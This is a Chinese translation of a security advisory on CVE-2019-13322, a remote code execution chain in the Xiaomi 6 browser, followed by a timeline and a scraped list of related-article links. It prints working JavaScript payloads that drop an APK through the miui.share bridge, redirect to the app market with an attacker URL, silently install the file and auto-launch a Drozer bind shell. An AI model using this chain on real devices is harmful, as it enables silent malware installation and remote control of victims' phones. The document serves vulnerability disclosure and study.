小米网页连接调用服务器,小米6浏览器远程代码执行(CVE-2019-13322)
介绍
在2018年的Pwn2own上,F-Secure实验室演示了小米6手机在访问一个攻击者所控制的恶意Web页面时被攻陷。具体步骤如下:用户使用小米浏览器加载攻击者发过来的网站(网页、短信或电子邮件中的链接等)
网页自动使用javascript bridge下载HTML文件
使用browsable intent加载应用商店
应用商店会通过提供的URL加载一个WebView,再加载另一个恶意Web页面
该Web页面使用另一个javascript bridge函数来安装已下载的apk
最后这个应用会依据intent proxy自动启动。
技术细节
第一步要求受害者访问攻击者的网站,一般通过恶意点击链接跳转到攻击者所控制的页面来完成。这个恶意Web页面会执行两个操作。
首先,它会自动下载一个HTML文件。小米浏览器中不允许使用带有download属性的锚元素进行自动下载。但是,可以使用包含在所有Web页面中的javascript bridge,称为miui。
这个bridge包含一个名为share的函数,可将使用经过base64编码的数据存储到磁盘上,文件名基于参数提供给share函数的属性。攻击者可以使用此方法将apk文件保存到磁盘中。@javascriptInterface public void share(String arg8, String arg9, String arg10, String arg11, String arg12) {
OutputStream v1_1;
FileOutputStream v1;
OutputStream v2;
File v6;
byte[] v5;
…
int v0 = "base64,".length() + arg11.indexOf("ba se64,");
try {
v5 = base64.decode(arg11.substring(v0), 0);
String v0_2 = arg8 != null || arg9 != null ? "share_" + arg8 + arg9 + arg10.hashCode() + ".jpg" : "jsShare.jpg";
v6 = new File(com.android.browser.j.a.a(this.a), v0_2);
v2 = null;
这个方法可以通过以下javascript来使用,将apk以base64编码字符串进行安装:miui.share("foo","foo","foo","base64," + apkFile);
在这个样例中,apk的数据会被存储在/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg
文件下载成功后,网页将重定向到应用商店(com.xiaomi.market)。这可以通过创建一个iframe来实现,将src设置为一个可浏览的URL:var iframe = document.createElement("iframe");
var marketRedirUrl = "http://testxiaomi.com/XiaomiPoC/market.html";
iframe.src = "mimarket://browse?url=" + encodeURIComponent(marketRedirUrl);
document.body.appendChild(iframe);
这也会加载应用商店的JoinActivity。通过“url”参数提供WebView的url。而“url”参数被设置为攻击者所控制的Web页面,攻击者可以将任意HTML页面加载到WebView中。
通过应用商店触发安装流程
应用商店中的WebView包含一个名为“Market”的javascript bridge。其中有一个函数会使用本地文件系统上的一个文件来悄悄地安装drozer的apk。以下javascript会在前一步进行已下载文件的安装:function installAPK(){
market.install('{"appInfo":{"id":"test", "packageName":"com.xiaomi.test", "appId":"com.xiaomi.test"}, "callBack":"test", "needArrange":true, "ref":"test", "refPosition":1234, "apkPath":"/sdcard/Android/data/com.android.browser/cache/share/share_-1038556538.jpg"}');
}
它将调用“install”方法,解析所提供的JSON数据,并启动“AppArrangeService”服务,而该服务将继续静默安装apk。
app的自启动
在以上过程结束,安装完成后,app将对javascript进行回调,其中调用的javascript函数由安装函数的“callBack”参数指定。这可用于设置已安装应用的自启动。
其中“test”函数定义如下:function test(){
document.location='intent://dzprovider/1#Intent;scheme=content;end';
}
以下格式的Content schemes将由浏览器所处理:
…
“dzprovider”是Drozer应用所包含的内容提供者:
android:name=".views.MyContentProvider"
android:authorities="dzprovider"
android:enabled="true"
android:exported="true">
当尝试加载这个URL时,浏览器应用程序必须确定mimetype是什么,这主要通过调用相关内容提供者的getType(Uri uri)方法实现的。通过在Drozer应用中重写这个方法,可以进行代码执行,启动Drozer绑定shell:@Override
public String getType(Uri uri) {
Intent i = new Intent();
i.addCategory("com.mwr.dz.START_EMBEDDED");
i.setComponent(new ComponentName("com.mwr.dz","com.mwr.dz.services.ServerService"));
Context c = getContext();
c.startService(i);
return “foo”;
}
时间线
2018-11-14:向ZDI报告了该漏洞
2019-01-27:ZDI与厂商联系
2019-02-06:ZDI再次联系厂商
2019-02-06:厂商答复计划在二月底之前进行修复
2019-02-14:ZDI通知厂商,如果2月底前没有进行修复,整体流程将视为已结束
2019-03-04:厂商进行答复但未提供具体时间
2019-06-03:ZDI通知厂商打算将报告结束
2019-11-22:F-Secure发布详情本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://labs.f-secure.com/advisories/xiaomi/
小米网页连接调用服务器,小米6浏览器远程代码执行(CVE-2019-13322)相关推荐
- IE浏览器远程代码执行高危漏洞(CVE-2019-1367)
IE浏览器远程代码执行高危漏洞(CVE-2019-1367)加固遇到的问题 一.背景介绍 Internet Explorer,是微软公司推出的一款网页浏览器.用户量极大.9月23日微软紧急发布安全更新 ...
- CVE-2018-8174 IE浏览器远程代码执行漏洞
0x00漏洞简介 在2018年5月9日的时候360发表了一份apt攻击分析及溯源报告 文中提到了cve-2018-8174这个漏洞的首次在apt方面的应用 原文地址:http://www.4hou.c ...
- 小米6弹HTML查看器,小米6浏览器远程代码执行(CVE-2019-13322)
介绍 在2018年的Pwn2own上,F-Secure实验室演示了小米6手机在访问一个攻击者所控制的恶意Web页面时被攻陷.具体步骤如下:用户使用小米浏览器加载攻击者发过来的网站(网页.短信或电子邮件 ...
- 小米6浏览器远程代码执行(CVE-2019-13322)
介绍 在2018年的Pwn2own上,F-Secure实验室演示了小米6手机在访问一个攻击者所控制的恶意Web页面时被攻陷.具体步骤如下: 用户使用小米浏览器加载攻击者发过来的网站(网页.短信或电子邮 ...
- 学习日志13:360安全浏览器远程代码执行漏洞
本文摘自乌云 出处:http://www.anquan.us/static/bugs/wooyun-2010-020.html 作者:结界师 缺陷编号:WooYun-2010-00020 1.漏洞基本 ...
- 【漏洞复现】IE 浏览器远程代码执行漏洞
Windows VBScript Engine 代码执行漏洞(CVE-2018-8174) 在2018年5月9日的时候360发表了一份apt攻击分析及溯源报告 文中提到了cve-2018-8174这个 ...
- 【漏洞复现】IE 浏览器远程代码执行漏洞(CVE-2018-8174)
一.CVE-2018-8174(本质是 Windows VBScript Engine 代码执行漏洞) 由于 VBScript 脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶 ...
- 小米平板添加位置服务器,小米平板电脑能定位吗?3种可实现小米平板定位导航的方法介绍_硬件教程...
尽管小米平板没有内置GPS模块,无法实现GPS定位,不过我们仍旧可以借助其他方式实现小米平板定位,以下笔者为大家带来了3种小米平板定位方法. 最近有网友问小编:小米平板能定位吗?针对此问题,笔者查阅了 ...
- 网页连接opc服务器,远程连接opc服务器
远程连接opc服务器 内容精选 换一换 华为云帮助中心,为用户提供产品简介.价格说明.购买指南.用户指南.API参考.最佳实践.常见问题.视频帮助等技术文档,帮助您快速上手使用华为云服务. 华为云帮助 ...
- c++获取一段代码的执行时间_微软IE浏览器JScript脚本引擎远程代码执行漏洞通告...
文档信息 编号 QiAnXinTI-SV-2019-0022 关键字 IE JScript RCE 远程命令执行CVE-2019-1367 发布日期 2019年09月24日 更新日期 2019年09月 ...
最新文章
- 数据结构与算法:09 栈与递归
- kernel笔记——块I/O
- CSS height:100%无效
- 【玩法设计】炉石传说吃鸡竞技场构思
- 3算法全称_全网最通俗的KMP算法图解
- UNIX/Linux系统管理技术手册(1)----脚本和shell
- javascript 未来新方法的介绍
- 单选按钮用法, 选择的值
- Adaptive Feature Recombination and Recalibration for Semantic Segmentation: Application to Brain Tum
- java.lang.SecurityException: class “org.bouncycastle.asn1.DERObject“‘s signer information does not m
- 中国信通院发布《区块链赋能新型智慧城市白皮书(2019年)》解读(附全文下载)
- ADNI数据集相关知识整理
- 迅为6818/4418开发板Yocto开发指南
- 瑞盟MS2358 96KHz、24bit音频ADC芯片--DFN12 封装
- 关于地图开发的那些坑儿
- 融合模型权限管理设计方案
- 用Keras构建神经网络的3种方法
- 【存储】GPFS简介及搭建
- 手把手教你如何追女生
- 转]60个英文阅读网站强力推荐
热门文章
- matlab改变直方图数量级,直方图规定化——Matlab实现及其原理
- python读取nc出图_python读取nc文件
- 58节沈大海H5edu.cn2016javaScript视频教程打包下载
- 【YY手机】用AVR单片机制作手机系列教程-基础篇
- 贪吃蛇php代码下载,C语言贪吃蛇代码
- 利用Wireshark分析UDP数据包
- 电磁场理论-麦克斯韦方程组
- 英制BSW 美制UNC 螺牙的理解
- 大学生计算机竞赛试题,大学生计算机基础知识竞赛题库_大学生计算机基础知识竞赛试题附答案.docx...
- jsoup 网页抓取简介详解